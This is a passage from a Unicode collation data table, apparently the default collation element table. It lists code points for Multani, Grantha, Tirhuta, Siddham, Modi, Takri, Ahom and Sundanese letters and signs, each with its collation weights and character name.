LETTER JJA +1128F ; [.2A4F.0020.0002] # MULTANI LETTER NYA +11290 ; [.2A50.0020.0002] # MULTANI LETTER TTA +11291 ; [.2A51.0020.0002] # MULTANI LETTER TTHA +11292 ; [.2A52.0020.0002] # MULTANI LETTER DDA +11293 ; [.2A53.0020.0002] # MULTANI LETTER DDDA +11294 ; [.2A54.0020.0002] # MULTANI LETTER DDHA +11295 ; [.2A55.0020.0002] # MULTANI LETTER NNA +11296 ; [.2A56.0020.0002] # MULTANI LETTER TA +11297 ; [.2A57.0020.0002] # MULTANI LETTER THA +11298 ; [.2A58.0020.0002] # MULTANI LETTER DA +11299 ; [.2A59.0020.0002] # MULTANI LETTER DHA +1129A ; [.2A5A.0020.0002] # MULTANI LETTER NA +1129B ; [.2A5B.0020.0002] # MULTANI LETTER PA +1129C ; [.2A5C.0020.0002] # MULTANI LETTER PHA +1129D ; [.2A5D.0020.0002] # MULTANI LETTER BA +1129F ; [.2A5E.0020.0002] # MULTANI LETTER BHA +112A0 ; [.2A5F.0020.0002] # MULTANI LETTER MA +112A1 ; [.2A60.0020.0002] # MULTANI LETTER YA +112A2 ; [.2A61.0020.0002] # MULTANI LETTER RA +112A3 ; [.2A62.0020.0002] # MULTANI LETTER LA +112A4 ; [.2A63.0020.0002] # MULTANI LETTER VA +112A7 ; [.2A64.0020.0002] # MULTANI LETTER RRA +112A8 ; [.2A65.0020.0002] # MULTANI LETTER RHA +11350 ; [.2A66.0020.0002] # GRANTHA OM +11305 ; [.2A67.0020.0002] # GRANTHA LETTER A +11306 ; [.2A68.0020.0002] # GRANTHA LETTER AA +11307 ; [.2A69.0020.0002] # GRANTHA LETTER I +11308 ; [.2A6A.0020.0002] # GRANTHA LETTER II +11309 ; [.2A6B.0020.0002] # GRANTHA LETTER U +1130A ; [.2A6C.0020.0002] # GRANTHA LETTER UU +1130B ; [.2A6D.0020.0002] # GRANTHA LETTER VOCALIC R +11360 ; [.2A6E.0020.0002] # GRANTHA LETTER VOCALIC RR +1130C ; [.2A6F.0020.0002] # GRANTHA LETTER VOCALIC L +11361 ; [.2A70.0020.0002] # GRANTHA LETTER VOCALIC LL +1130F ; [.2A71.0020.0002] # GRANTHA LETTER EE +11310 ; [.2A72.0020.0002] # GRANTHA LETTER AI +11313 ; [.2A73.0020.0002] # GRANTHA LETTER OO +11314 ; [.2A74.0020.0002] # GRANTHA LETTER AU +11315 ; [.2A75.0020.0002] # GRANTHA LETTER KA +11316 ; [.2A76.0020.0002] # GRANTHA LETTER KHA +11317 ; [.2A77.0020.0002] # GRANTHA LETTER GA +11318 ; [.2A78.0020.0002] # GRANTHA LETTER GHA +11319 ; [.2A79.0020.0002] # GRANTHA LETTER NGA +1131A ; [.2A7A.0020.0002] # GRANTHA LETTER CA +1131B ; [.2A7B.0020.0002] # GRANTHA LETTER CHA +1131C ; [.2A7C.0020.0002] # GRANTHA LETTER JA +1131D ; [.2A7D.0020.0002] # GRANTHA LETTER JHA +1131E ; [.2A7E.0020.0002] # GRANTHA LETTER NYA +1131F ; [.2A7F.0020.0002] # GRANTHA LETTER TTA +11320 ; [.2A80.0020.0002] # GRANTHA LETTER TTHA +11321 ; [.2A81.0020.0002] # GRANTHA LETTER DDA +11322 ; [.2A82.0020.0002] # GRANTHA LETTER DDHA +11323 ; [.2A83.0020.0002] # GRANTHA LETTER NNA +11324 ; [.2A84.0020.0002] # GRANTHA LETTER TA +11325 ; [.2A85.0020.0002] # GRANTHA LETTER THA +11326 ; [.2A86.0020.0002] # GRANTHA LETTER DA +11327 ; [.2A87.0020.0002] # GRANTHA LETTER DHA +11328 ; [.2A88.0020.0002] # GRANTHA LETTER NA +1132A ; [.2A89.0020.0002] # GRANTHA LETTER PA +1132B ; [.2A8A.0020.0002] # GRANTHA LETTER PHA +1132C ; [.2A8B.0020.0002] # GRANTHA LETTER BA +1132D ; [.2A8C.0020.0002] # GRANTHA LETTER BHA +1132E ; [.2A8D.0020.0002] # GRANTHA LETTER MA +1132F ; [.2A8E.0020.0002] # GRANTHA LETTER YA +11330 ; [.2A8F.0020.0002] # GRANTHA LETTER RA +11332 ; [.2A90.0020.0002] # GRANTHA LETTER LA +11333 ; [.2A91.0020.0002] # GRANTHA LETTER LLA +11335 ; [.2A92.0020.0002] # GRANTHA LETTER VA +11336 ; [.2A93.0020.0002] # GRANTHA LETTER SHA +11337 ; [.2A94.0020.0002] # GRANTHA LETTER SSA +11338 ; [.2A95.0020.0002] # GRANTHA LETTER SA +11339 ; [.2A96.0020.0002] # GRANTHA LETTER HA +1133D ; [.2A97.0020.0002] # GRANTHA SIGN AVAGRAHA +1135E ; [.2A98.0020.0002] # GRANTHA LETTER VEDIC ANUSVARA +1135F ; [.2A99.0020.0002] # GRANTHA LETTER VEDIC DOUBLE ANUSVARA +1133E ; [.2A9A.0020.0002] # GRANTHA VOWEL SIGN AA +1133F ; [.2A9B.0020.0002] # GRANTHA VOWEL SIGN I +11340 ; [.2A9C.0020.0002] # GRANTHA VOWEL SIGN II +11341 ; [.2A9D.0020.0002] # GRANTHA VOWEL SIGN U +11342 ; [.2A9E.0020.0002] # GRANTHA VOWEL SIGN UU +11343 ; [.2A9F.0020.0002] # GRANTHA VOWEL SIGN VOCALIC R +11344 ; [.2AA0.0020.0002] # GRANTHA VOWEL SIGN VOCALIC RR +11362 ; [.2AA1.0020.0002] # GRANTHA VOWEL SIGN VOCALIC L +11363 ; [.2AA2.0020.0002] # GRANTHA VOWEL SIGN VOCALIC LL +11347 ; [.2AA3.0020.0002] # GRANTHA VOWEL SIGN EE +11348 ; [.2AA4.0020.0002] # GRANTHA VOWEL SIGN AI +1134B ; [.2AA5.0020.0002] # GRANTHA VOWEL SIGN OO +11347 1133E ; [.2AA5.0020.0002] # GRANTHA VOWEL SIGN OO +1134C ; [.2AA6.0020.0002] # GRANTHA VOWEL SIGN AU +11347 11357 ; [.2AA6.0020.0002] # GRANTHA VOWEL SIGN AU +1134D ; [.2AA7.0020.0002] # GRANTHA SIGN VIRAMA +11357 ; [.2AA8.0020.0002] # GRANTHA AU LENGTH MARK +1135D ; [.2AA9.0020.0002] # GRANTHA SIGN PLUTA +114C7 ; [.2AAA.0020.0002] # TIRHUTA OM +11480 ; [.2AAB.0020.0002] # TIRHUTA ANJI +11481 ; [.2AAC.0020.0002] # TIRHUTA LETTER A +11482 ; [.2AAD.0020.0002] # TIRHUTA LETTER AA +11483 ; [.2AAE.0020.0002] # TIRHUTA LETTER I +11484 ; [.2AAF.0020.0002] # TIRHUTA LETTER II +11485 ; [.2AB0.0020.0002] # TIRHUTA LETTER U +11486 ; [.2AB1.0020.0002] # TIRHUTA LETTER UU +11487 ; [.2AB2.0020.0002] # TIRHUTA LETTER VOCALIC R +11488 ; [.2AB3.0020.0002] # TIRHUTA LETTER VOCALIC RR +11489 ; [.2AB4.0020.0002] # TIRHUTA LETTER VOCALIC L +1148A ; [.2AB5.0020.0002] # TIRHUTA LETTER VOCALIC LL +1148B ; [.2AB6.0020.0002] # TIRHUTA LETTER E +1148C ; [.2AB7.0020.0002] # TIRHUTA LETTER AI +1148D ; [.2AB8.0020.0002] # TIRHUTA LETTER O +1148E ; [.2AB9.0020.0002] # TIRHUTA LETTER AU +1148F ; [.2ABA.0020.0002] # TIRHUTA LETTER KA +11490 ; [.2ABB.0020.0002] # TIRHUTA LETTER KHA +11491 ; [.2ABC.0020.0002] # TIRHUTA LETTER GA +11492 ; [.2ABD.0020.0002] # TIRHUTA LETTER GHA +11493 ; [.2ABE.0020.0002] # TIRHUTA LETTER NGA +11494 ; [.2ABF.0020.0002] # TIRHUTA LETTER CA +11495 ; [.2AC0.0020.0002] # TIRHUTA LETTER CHA +11496 ; [.2AC1.0020.0002] # TIRHUTA LETTER JA +11497 ; [.2AC2.0020.0002] # TIRHUTA LETTER JHA +11498 ; [.2AC3.0020.0002] # TIRHUTA LETTER NYA +11499 ; [.2AC4.0020.0002] # TIRHUTA LETTER TTA +1149A ; [.2AC5.0020.0002] # TIRHUTA LETTER TTHA +1149B ; [.2AC6.0020.0002] # TIRHUTA LETTER DDA +1149C ; [.2AC7.0020.0002] # TIRHUTA LETTER DDHA +1149D ; [.2AC8.0020.0002] # TIRHUTA LETTER NNA +1149E ; [.2AC9.0020.0002] # TIRHUTA LETTER TA +1149F ; [.2ACA.0020.0002] # TIRHUTA LETTER THA +114A0 ; [.2ACB.0020.0002] # TIRHUTA LETTER DA +114A1 ; [.2ACC.0020.0002] # TIRHUTA LETTER DHA +114A2 ; [.2ACD.0020.0002] # TIRHUTA LETTER NA +114A3 ; [.2ACE.0020.0002] # TIRHUTA LETTER PA +114A4 ; [.2ACF.0020.0002] # TIRHUTA LETTER PHA +114A5 ; [.2AD0.0020.0002] # TIRHUTA LETTER BA +114A6 ; [.2AD1.0020.0002] # TIRHUTA LETTER BHA +114A7 ; [.2AD2.0020.0002] # TIRHUTA LETTER MA +114A8 ; [.2AD3.0020.0002] # TIRHUTA LETTER YA +114A9 ; [.2AD4.0020.0002] # TIRHUTA LETTER RA +114AA ; [.2AD5.0020.0002] # TIRHUTA LETTER LA +114AB ; [.2AD6.0020.0002] # TIRHUTA LETTER VA +114AC ; [.2AD7.0020.0002] # TIRHUTA LETTER SHA +114AD ; [.2AD8.0020.0002] # TIRHUTA LETTER SSA +114AE ; [.2AD9.0020.0002] # TIRHUTA LETTER SA +114AF ; [.2ADA.0020.0002] # TIRHUTA LETTER HA +114C4 ; [.2ADB.0020.0002] # TIRHUTA SIGN AVAGRAHA +114C5 ; [.2ADC.0020.0002] # TIRHUTA GVANG +114B0 ; [.2ADD.0020.0002] # TIRHUTA VOWEL SIGN AA +114B1 ; [.2ADE.0020.0002] # TIRHUTA VOWEL SIGN I +114B2 ; [.2ADF.0020.0002] # TIRHUTA VOWEL SIGN II +114B3 ; [.2AE0.0020.0002] # TIRHUTA VOWEL SIGN U +114B4 ; [.2AE1.0020.0002] # TIRHUTA VOWEL SIGN UU +114B5 ; [.2AE2.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC R +114B6 ; [.2AE3.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC RR +114B7 ; [.2AE4.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC L +114B8 ; [.2AE5.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC LL +114B9 ; [.2AE6.0020.0002] # TIRHUTA VOWEL SIGN E +114BA ; [.2AE7.0020.0002] # TIRHUTA VOWEL SIGN SHORT E +114BB ; [.2AE8.0020.0002] # TIRHUTA VOWEL SIGN AI +114B9 114BA ; [.2AE8.0020.0002] # TIRHUTA VOWEL SIGN AI +114BC ; [.2AE9.0020.0002] # TIRHUTA VOWEL SIGN O +114B9 114B0 ; [.2AE9.0020.0002] # TIRHUTA VOWEL SIGN O +114BD ; [.2AEA.0020.0002] # TIRHUTA VOWEL SIGN SHORT O +114BE ; [.2AEB.0020.0002] # TIRHUTA VOWEL SIGN AU +114B9 114BD ; [.2AEB.0020.0002] # TIRHUTA VOWEL SIGN AU +114C2 ; [.2AEC.0020.0002] # TIRHUTA SIGN VIRAMA +11580 ; [.2AED.0020.0002] # SIDDHAM LETTER A +11581 ; [.2AEE.0020.0002] # SIDDHAM LETTER AA +11582 ; [.2AEF.0020.0002] # SIDDHAM LETTER I +115D8 ; [.2AEF.0020.0004][.0000.010B.0004] # SIDDHAM LETTER THREE-CIRCLE ALTERNATE I +115D9 ; [.2AEF.0020.0004][.0000.010C.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE I +11583 ; [.2AF0.0020.0002] # SIDDHAM LETTER II +115DA ; [.2AF0.0020.0004][.0000.010B.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE II +11584 ; [.2AF1.0020.0002] # SIDDHAM LETTER U +115DB ; [.2AF1.0020.0004][.0000.010B.0004] # SIDDHAM LETTER ALTERNATE U +11585 ; [.2AF2.0020.0002] # SIDDHAM LETTER UU +11586 ; [.2AF3.0020.0002] # SIDDHAM LETTER VOCALIC R +11587 ; [.2AF4.0020.0002] # SIDDHAM LETTER VOCALIC RR +11588 ; [.2AF5.0020.0002] # SIDDHAM LETTER VOCALIC L +11589 ; [.2AF6.0020.0002] # SIDDHAM LETTER VOCALIC LL +1158A ; [.2AF7.0020.0002] # SIDDHAM LETTER E +1158B ; [.2AF8.0020.0002] # SIDDHAM LETTER AI +1158C ; [.2AF9.0020.0002] # SIDDHAM LETTER O +1158D ; [.2AFA.0020.0002] # SIDDHAM LETTER AU +1158E ; [.2AFB.0020.0002] # SIDDHAM LETTER KA +1158F ; [.2AFC.0020.0002] # SIDDHAM LETTER KHA +11590 ; [.2AFD.0020.0002] # SIDDHAM LETTER GA +11591 ; [.2AFE.0020.0002] # SIDDHAM LETTER GHA +11592 ; [.2AFF.0020.0002] # SIDDHAM LETTER NGA +11593 ; [.2B00.0020.0002] # SIDDHAM LETTER CA +11594 ; [.2B01.0020.0002] # SIDDHAM LETTER CHA +11595 ; [.2B02.0020.0002] # SIDDHAM LETTER JA +11596 ; [.2B03.0020.0002] # SIDDHAM LETTER JHA +11597 ; [.2B04.0020.0002] # SIDDHAM LETTER NYA +11598 ; [.2B05.0020.0002] # SIDDHAM LETTER TTA +11599 ; [.2B06.0020.0002] # SIDDHAM LETTER TTHA +1159A ; [.2B07.0020.0002] # SIDDHAM LETTER DDA +1159B ; [.2B08.0020.0002] # SIDDHAM LETTER DDHA +1159C ; [.2B09.0020.0002] # SIDDHAM LETTER NNA +1159D ; [.2B0A.0020.0002] # SIDDHAM LETTER TA +1159E ; [.2B0B.0020.0002] # SIDDHAM LETTER THA +1159F ; [.2B0C.0020.0002] # SIDDHAM LETTER DA +115A0 ; [.2B0D.0020.0002] # SIDDHAM LETTER DHA +115A1 ; [.2B0E.0020.0002] # SIDDHAM LETTER NA +115A2 ; [.2B0F.0020.0002] # SIDDHAM LETTER PA +115A3 ; [.2B10.0020.0002] # SIDDHAM LETTER PHA +115A4 ; [.2B11.0020.0002] # SIDDHAM LETTER BA +115A5 ; [.2B12.0020.0002] # SIDDHAM LETTER BHA +115A6 ; [.2B13.0020.0002] # SIDDHAM LETTER MA +115A7 ; [.2B14.0020.0002] # SIDDHAM LETTER YA +115A8 ; [.2B15.0020.0002] # SIDDHAM LETTER RA +115A9 ; [.2B16.0020.0002] # SIDDHAM LETTER LA +115AA ; [.2B17.0020.0002] # SIDDHAM LETTER VA +115AB ; [.2B18.0020.0002] # SIDDHAM LETTER SHA +115AC ; [.2B19.0020.0002] # SIDDHAM LETTER SSA +115AD ; [.2B1A.0020.0002] # SIDDHAM LETTER SA +115AE ; [.2B1B.0020.0002] # SIDDHAM LETTER HA +115AF ; [.2B1C.0020.0002] # SIDDHAM VOWEL SIGN AA +115B0 ; [.2B1D.0020.0002] # SIDDHAM VOWEL SIGN I +115B1 ; [.2B1E.0020.0002] # SIDDHAM VOWEL SIGN II +115B2 ; [.2B1F.0020.0002] # SIDDHAM VOWEL SIGN U +115DC ; [.2B1F.0020.0004][.0000.010B.0004] # SIDDHAM VOWEL SIGN ALTERNATE U +115B3 ; [.2B20.0020.0002] # SIDDHAM VOWEL SIGN UU +115DD ; [.2B20.0020.0004][.0000.010B.0004] # SIDDHAM VOWEL SIGN ALTERNATE UU +115B4 ; [.2B21.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC R +115B5 ; [.2B22.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC RR +115B8 ; [.2B23.0020.0002] # SIDDHAM VOWEL SIGN E +115B9 ; [.2B24.0020.0002] # SIDDHAM VOWEL SIGN AI +115BA ; [.2B25.0020.0002] # SIDDHAM VOWEL SIGN O +115B8 115AF ; [.2B25.0020.0002] # SIDDHAM VOWEL SIGN O +115BB ; [.2B26.0020.0002] # SIDDHAM VOWEL SIGN AU +115B9 115AF ; [.2B26.0020.0002] # SIDDHAM VOWEL SIGN AU +115BF ; [.2B27.0020.0002] # SIDDHAM SIGN VIRAMA +11600 ; [.2B28.0020.0002] # MODI LETTER A +11601 ; [.2B29.0020.0002] # MODI LETTER AA +11602 ; [.2B2A.0020.0002] # MODI LETTER I +11603 ; [.2B2B.0020.0002] # MODI LETTER II +11604 ; [.2B2C.0020.0002] # MODI LETTER U +11605 ; [.2B2D.0020.0002] # MODI LETTER UU +11606 ; [.2B2E.0020.0002] # MODI LETTER VOCALIC R +11607 ; [.2B2F.0020.0002] # MODI LETTER VOCALIC RR +11608 ; [.2B30.0020.0002] # MODI LETTER VOCALIC L +11609 ; [.2B31.0020.0002] # MODI LETTER VOCALIC LL +1160A ; [.2B32.0020.0002] # MODI LETTER E +1160B ; [.2B33.0020.0002] # MODI LETTER AI +1160C ; [.2B34.0020.0002] # MODI LETTER O +1160D ; [.2B35.0020.0002] # MODI LETTER AU +1160E ; [.2B36.0020.0002] # MODI LETTER KA +1160F ; [.2B37.0020.0002] # MODI LETTER KHA +11610 ; [.2B38.0020.0002] # MODI LETTER GA +11611 ; [.2B39.0020.0002] # MODI LETTER GHA +11612 ; [.2B3A.0020.0002] # MODI LETTER NGA +11613 ; [.2B3B.0020.0002] # MODI LETTER CA +11614 ; [.2B3C.0020.0002] # MODI LETTER CHA +11615 ; [.2B3D.0020.0002] # MODI LETTER JA +11616 ; [.2B3E.0020.0002] # MODI LETTER JHA +11617 ; [.2B3F.0020.0002] # MODI LETTER NYA +11618 ; [.2B40.0020.0002] # MODI LETTER TTA +11619 ; [.2B41.0020.0002] # MODI LETTER TTHA +1161A ; [.2B42.0020.0002] # MODI LETTER DDA +1161B ; [.2B43.0020.0002] # MODI LETTER DDHA +1161C ; [.2B44.0020.0002] # MODI LETTER NNA +1161D ; [.2B45.0020.0002] # MODI LETTER TA +1161E ; [.2B46.0020.0002] # MODI LETTER THA +1161F ; [.2B47.0020.0002] # MODI LETTER DA +11620 ; [.2B48.0020.0002] # MODI LETTER DHA +11621 ; [.2B49.0020.0002] # MODI LETTER NA +11622 ; [.2B4A.0020.0002] # MODI LETTER PA +11623 ; [.2B4B.0020.0002] # MODI LETTER PHA +11624 ; [.2B4C.0020.0002] # MODI LETTER BA +11625 ; [.2B4D.0020.0002] # MODI LETTER BHA +11626 ; [.2B4E.0020.0002] # MODI LETTER MA +11627 ; [.2B4F.0020.0002] # MODI LETTER YA +11628 ; [.2B50.0020.0002] # MODI LETTER RA +11629 ; [.2B51.0020.0002] # MODI LETTER LA +1162A ; [.2B52.0020.0002] # MODI LETTER VA +1162B ; [.2B53.0020.0002] # MODI LETTER SHA +1162C ; [.2B54.0020.0002] # MODI LETTER SSA +1162D ; [.2B55.0020.0002] # MODI LETTER SA +1162E ; [.2B56.0020.0002] # MODI LETTER HA +1162F ; [.2B57.0020.0002] # MODI LETTER LLA +11630 ; [.2B58.0020.0002] # MODI VOWEL SIGN AA +11631 ; [.2B59.0020.0002] # MODI VOWEL SIGN I +11632 ; [.2B5A.0020.0002] # MODI VOWEL SIGN II +11633 ; [.2B5B.0020.0002] # MODI VOWEL SIGN U +11634 ; [.2B5C.0020.0002] # MODI VOWEL SIGN UU +11635 ; [.2B5D.0020.0002] # MODI VOWEL SIGN VOCALIC R +11636 ; [.2B5E.0020.0002] # MODI VOWEL SIGN VOCALIC RR +11637 ; [.2B5F.0020.0002] # MODI VOWEL SIGN VOCALIC L +11638 ; [.2B60.0020.0002] # MODI VOWEL SIGN VOCALIC LL +11639 ; [.2B61.0020.0002] # MODI VOWEL SIGN E +1163A ; [.2B62.0020.0002] # MODI VOWEL SIGN AI +1163B ; [.2B63.0020.0002] # MODI VOWEL SIGN O +1163C ; [.2B64.0020.0002] # MODI VOWEL SIGN AU +1163F ; [.2B65.0020.0002] # MODI SIGN VIRAMA +11644 ; [.2B66.0020.0002] # MODI SIGN HUVA +11680 ; [.2B67.0020.0002] # TAKRI LETTER A +11681 ; [.2B68.0020.0002] # TAKRI LETTER AA +11682 ; [.2B69.0020.0002] # TAKRI LETTER I +11683 ; [.2B6A.0020.0002] # TAKRI LETTER II +11684 ; [.2B6B.0020.0002] # TAKRI LETTER U +11685 ; [.2B6C.0020.0002] # TAKRI LETTER UU +11686 ; [.2B6D.0020.0002] # TAKRI LETTER E +11687 ; [.2B6E.0020.0002] # TAKRI LETTER AI +11688 ; [.2B6F.0020.0002] # TAKRI LETTER O +11689 ; [.2B70.0020.0002] # TAKRI LETTER AU +116A8 ; [.2B71.0020.0002] # TAKRI LETTER SA +116A7 ; [.2B72.0020.0002] # TAKRI LETTER SHA +116A9 ; [.2B73.0020.0002] # TAKRI LETTER HA +1168A ; [.2B74.0020.0002] # TAKRI LETTER KA +1168B ; [.2B75.0020.0002] # TAKRI LETTER KHA +1168C ; [.2B76.0020.0002] # TAKRI LETTER GA +1168D ; [.2B77.0020.0002] # TAKRI LETTER GHA +1168E ; [.2B78.0020.0002] # TAKRI LETTER NGA +1168F ; [.2B79.0020.0002] # TAKRI LETTER CA +11690 ; [.2B7A.0020.0002] # TAKRI LETTER CHA +11691 ; [.2B7B.0020.0002] # TAKRI LETTER JA +11692 ; [.2B7C.0020.0002] # TAKRI LETTER JHA +11693 ; [.2B7D.0020.0002] # TAKRI LETTER NYA +11694 ; [.2B7E.0020.0002] # TAKRI LETTER TTA +11695 ; [.2B7F.0020.0002] # TAKRI LETTER TTHA +11696 ; [.2B80.0020.0002] # TAKRI LETTER DDA +11697 ; [.2B81.0020.0002] # TAKRI LETTER DDHA +11698 ; [.2B82.0020.0002] # TAKRI LETTER NNA +11699 ; [.2B83.0020.0002] # TAKRI LETTER TA +1169A ; [.2B84.0020.0002] # TAKRI LETTER THA +1169B ; [.2B85.0020.0002] # TAKRI LETTER DA +1169C ; [.2B86.0020.0002] # TAKRI LETTER DHA +1169D ; [.2B87.0020.0002] # TAKRI LETTER NA +1169E ; [.2B88.0020.0002] # TAKRI LETTER PA +1169F ; [.2B89.0020.0002] # TAKRI LETTER PHA +116A0 ; [.2B8A.0020.0002] # TAKRI LETTER BA +116A1 ; [.2B8B.0020.0002] # TAKRI LETTER BHA +116A2 ; [.2B8C.0020.0002] # TAKRI LETTER MA +116A3 ; [.2B8D.0020.0002] # TAKRI LETTER YA +116A4 ; [.2B8E.0020.0002] # TAKRI LETTER RA +116A5 ; [.2B8F.0020.0002] # TAKRI LETTER LA +116A6 ; [.2B90.0020.0002] # TAKRI LETTER VA +116AA ; [.2B91.0020.0002] # TAKRI LETTER RRA +116AD ; [.2B92.0020.0002] # TAKRI VOWEL SIGN AA +116AE ; [.2B93.0020.0002] # TAKRI VOWEL SIGN I +116AF ; [.2B94.0020.0002] # TAKRI VOWEL SIGN II +116B0 ; [.2B95.0020.0002] # TAKRI VOWEL SIGN U +116B1 ; [.2B96.0020.0002] # TAKRI VOWEL SIGN UU +116B2 ; [.2B97.0020.0002] # TAKRI VOWEL SIGN E +116B3 ; [.2B98.0020.0002] # TAKRI VOWEL SIGN AI +116B4 ; [.2B99.0020.0002] # TAKRI VOWEL SIGN O +116B5 ; [.2B9A.0020.0002] # TAKRI VOWEL SIGN AU +116B6 ; [.2B9B.0020.0002] # TAKRI SIGN VIRAMA +11700 ; [.2B9C.0020.0002] # AHOM LETTER KA +11701 ; [.2B9D.0020.0002] # AHOM LETTER KHA +11702 ; [.2B9E.0020.0002] # AHOM LETTER NGA +11703 ; [.2B9F.0020.0002] # AHOM LETTER NA +11704 ; [.2BA0.0020.0002] # AHOM LETTER TA +11705 ; [.2BA0.0020.0004][.0000.010B.0004] # AHOM LETTER ALTERNATE TA +11706 ; [.2BA1.0020.0002] # AHOM LETTER PA +11707 ; [.2BA2.0020.0002] # AHOM LETTER PHA +11708 ; [.2BA3.0020.0002] # AHOM LETTER BA +11709 ; [.2BA4.0020.0002] # AHOM LETTER MA +1170A ; [.2BA5.0020.0002] # AHOM LETTER JA +1170B ; [.2BA6.0020.0002] # AHOM LETTER CHA +1170C ; [.2BA7.0020.0002] # AHOM LETTER THA +1170D ; [.2BA8.0020.0002] # AHOM LETTER RA +1170E ; [.2BA9.0020.0002] # AHOM LETTER LA +1170F ; [.2BAA.0020.0002] # AHOM LETTER SA +11710 ; [.2BAB.0020.0002] # AHOM LETTER NYA +11711 ; [.2BAC.0020.0002] # AHOM LETTER HA +11712 ; [.2BAD.0020.0002] # AHOM LETTER A +11713 ; [.2BAE.0020.0002] # AHOM LETTER DA +11714 ; [.2BAF.0020.0002] # AHOM LETTER DHA +11715 ; [.2BB0.0020.0002] # AHOM LETTER GA +11716 ; [.2BB0.0020.0004][.0000.010B.0004] # AHOM LETTER ALTERNATE GA +11717 ; [.2BB1.0020.0002] # AHOM LETTER GHA +11718 ; [.2BB2.0020.0002] # AHOM LETTER BHA +11719 ; [.2BB3.0020.0002] # AHOM LETTER JHA +11720 ; [.2BB4.0020.0002] # AHOM VOWEL SIGN A +11721 ; [.2BB5.0020.0002] # AHOM VOWEL SIGN AA +11722 ; [.2BB6.0020.0002] # AHOM VOWEL SIGN I +11723 ; [.2BB7.0020.0002] # AHOM VOWEL SIGN II +11724 ; [.2BB8.0020.0002] # AHOM VOWEL SIGN U +11725 ; [.2BB9.0020.0002] # AHOM VOWEL SIGN UU +11726 ; [.2BBA.0020.0002] # AHOM VOWEL SIGN E +11727 ; [.2BBB.0020.0002] # AHOM VOWEL SIGN AW +11728 ; [.2BBC.0020.0002] # AHOM VOWEL SIGN O +11729 ; [.2BBD.0020.0002] # AHOM VOWEL SIGN AI +1172A ; [.2BBE.0020.0002] # AHOM VOWEL SIGN AM +1172B ; [.2BBF.0020.0002] # AHOM SIGN KILLER +1171D ; [.2BC0.0020.0002] # AHOM CONSONANT SIGN MEDIAL LA +1171E ; [.2BC1.0020.0002] # AHOM CONSONANT SIGN MEDIAL RA +1171F ; [.2BC2.0020.0002] # AHOM CONSONANT SIGN MEDIAL LIGATING RA +1B83 ; [.2BC3.0020.0002] # SUNDANESE LETTER A +1BBA ; [.2BC3.0020.0004] # SUNDANESE AVAGRAHA +1B84 ; [.2BC4.0020.0002] # SUNDANESE LETTER I +1B85 ; [.2BC5.0020.0002] # SUNDANESE LETTER U +1B86 ; [.2BC6.0020.0002] # SUNDANESE LETTER AE +1B87 ; [.2BC7.0020.0002] # SUNDANESE LETTER O +1B88 ; [.2BC8.0020.0002] # SUNDANESE LETTER E +1B89 ; [.2BC9.0020.0002] # SUNDANESE LETTER EU +1B8A ; [.2BCA.0020.0002] # SUNDANESE LETTER KA +1BBE ; [.2BCA.0020.0019] # SUNDANESE LETTER FINAL K +1BAE ; [.2BCB.0020.0002] # SUNDANESE LETTER KHA +1B8B ; [.2BCC.0020.0002] # SUNDANESE LETTER QA +1B8C ; [.2BCD.0020.0002] # SUNDANESE LETTER GA +1B8D ; [.2BCE.0020.0002] # SUNDANESE LETTER NGA +1B8E ; [.2BCF.0020.0002] # SUNDANESE LETTER CA +1B8F ; [.2BD0.0020.0002] # SUNDANESE LETTER JA +1B90 ; [.2BD1.0020.0002] # SUNDANESE LETTER ZA +1B91 ; [.2BD2.0020.0002] # SUNDANESE LETTER NYA +1B92 ; [.2BD3.0020.0002] # SUNDANESE LETTER TA +1B93 ; [.2BD4.0020.0002] # SUNDANESE LETTER DA +1B94 ; [.2BD5.0020.0002] # SUNDANESE LETTER NA +1B95 ; [.2BD6.0020.0002] # SUNDANESE LETTER PA +1B96 ; [.2BD7.0020.0002] # SUNDANESE LETTER FA +1B97 ; [.2BD8.0020.0002] # SUNDANESE LETTER VA +1B98 ; [.2BD9.0020.0002] # SUNDANESE LETTER BA +1BBD ; [.2BDA.0020.0002] # SUNDANESE LETTER BHA +1B99 ; [.2BDB.0020.0002] # SUNDANESE LETTER MA +1BBF ; [.2BDB.0020.0019] # SUNDANESE LETTER FINAL M +1BAC ; [.2BDC.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN MA +1B9A ; [.2BDD.0020.0002] # SUNDANESE LETTER YA +1BA1 ; [.2BDE.0020.0002] # SUNDANESE CONSONANT SIGN PAMINGKAL +1B9B ; [.2BDF.0020.0002] # SUNDANESE LETTER RA +1BA2 ; [.2BE0.0020.0002] # SUNDANESE CONSONANT SIGN PANYAKRA +1BBB ; [.2BE1.0020.0002] # SUNDANESE LETTER REU +1B9C ; [.2BE2.0020.0002] # SUNDANESE LETTER LA +1BA3 ; [.2BE3.0020.0002] # SUNDANESE CONSONANT SIGN PANYIKU +1BBC ; [.2BE4.0020.0002] # SUNDANESE LETTER LEU +1B9D ; [.2BE5.0020.0002] # SUNDANESE LETTER WA +1BAD ; [.2BE6.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN WA +1B9E ; [.2BE7.0020.0002] # SUNDANESE LETTER SA +1B9F ; [.2BE8.0020.0002] # SUNDANESE LETTER XA +1BAF ; [.2BE9.0020.0002] # SUNDANESE LETTER SYA +1BA0 ; [.2BEA.0020.0002] # SUNDANESE LETTER HA +1BA4 ; [.2BEB.0020.0002] # SUNDANESE VOWEL SIGN PANGHULU +1BA5 ; [.2BEC.0020.0002] # SUNDANESE VOWEL SIGN PANYUKU +1BA6 ; [.2BED.0020.0002] # SUNDANESE VOWEL SIGN PANAELAENG +1BA7 ; [.2BEE.0020.0002] # SUNDANESE VOWEL SIGN PANOLONG +1BA8 ; [.2BEF.0020.0002] # SUNDANESE VOWEL SIGN PAMEPET +1BA9 ; [.2BF0.0020.0002] # SUNDANESE VOWEL SIGN PANEULEUNG +1BAA ; [.2BF1.0020.0002] # SUNDANESE SIGN PAMAAEH +1BAB ; [.2BF2.0020.0002] # SUNDANESE SIGN VIRAMA +11005 ; [.2BF3.0020.0002] # BRAHMI LETTER A +11006 ; [.2BF4.0020.0002] # BRAHMI LETTER AA +11007 ; [.2BF5.0020.0002] # BRAHMI LETTER I +11008 ; 